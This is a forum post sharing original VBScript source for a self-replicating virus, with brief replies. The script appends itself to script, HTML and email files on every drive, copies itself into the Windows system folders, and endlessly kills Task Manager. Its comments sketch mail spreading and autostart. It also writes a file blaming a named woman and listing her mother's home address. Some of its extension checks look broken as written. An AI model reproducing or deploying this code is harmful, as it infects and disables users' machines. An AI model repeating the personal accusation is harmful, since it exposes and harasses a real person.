中国DOS联盟

rem 有不妥之处，请多多指教。
On Error GoTo 0

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.WriteLine("I love person,") ''10
lcl.WriteLine("She doesn't love me.")
lcl.WriteLine("She is Liu Chun Li,")
lcl.WriteLine("She mother home is Yuzhen.Qixian.Kaifeng.Henan.China.")
lcl.WriteLine("I was died because by her,")
lcl.WriteLine("I am demanding my life of you.")
rem fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

self=fso.opentextfile(wscript.scriptfullname,1).readall
''20
For Each d in fso.Drives
if d.drivetype=4 then
Exit For
else
rem fso.CopyFile b, d&"\lcl.txt"
scan(d)
end if
next

Set dirwin = fso.GetSpecialFolder(0) ''30
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl = fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")

sub scan(folder)
on error resume next
set fd=fso.getfolder(folder)
for each file in fd.files ''40
ext=fso.GetExtensionName(file)
ext=lcase(ext)

if ext="v-b-s" or ext="v-b-e" or ext="w-s-c" or ext="w-s-c" or ext="w-s-f" or ext="w-s-h" or ext="s-c-t" then
set ap=fso.opentextfile(file.path,8,true)
ap.write self
ap.close
end if

if ext="h-t-m" or ext="h-t-m-l" or ext="a-s-p" or ext="e-m-l" or ext="a-s-p-x" or ext="h-t-a" or ext="s-html" then ''50
set ap=fso.opentextfile(file.path,8,true)
ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
ap.write chr(13)&chr(10)
ap.write self
ap.write "<"&"/SCRIPT>"
ap.close
end if

next
for each subfd in fd.subfolders ''60
scan(subfd)
next
end sub

Randomize
SJZV = Array("fso", "self", "SJZV", "SJZVC")
For SJZVC = 0 To 3
rem self=Replace(self,SJZV(SJZVC),Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65))&Chr((Int(Rnd*26)+65)))
Next ''70
rem fso.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline self

with createobject("wscript.shell")
do
.run "cmd /c taskkill /f /im taskmgr.exe",0
rem .sendkeys "%"
loop
end with

rem createobject network
rem spy memory
rem createobject outlook to send mail
rem wshshell.regwrite to autostart to run

只要是脚本都可以到这里发的

既然是原创，标题就要表义，代码就要code起来，基本要求嘛。

能介绍下功能吗

一个相当无聊的脚本……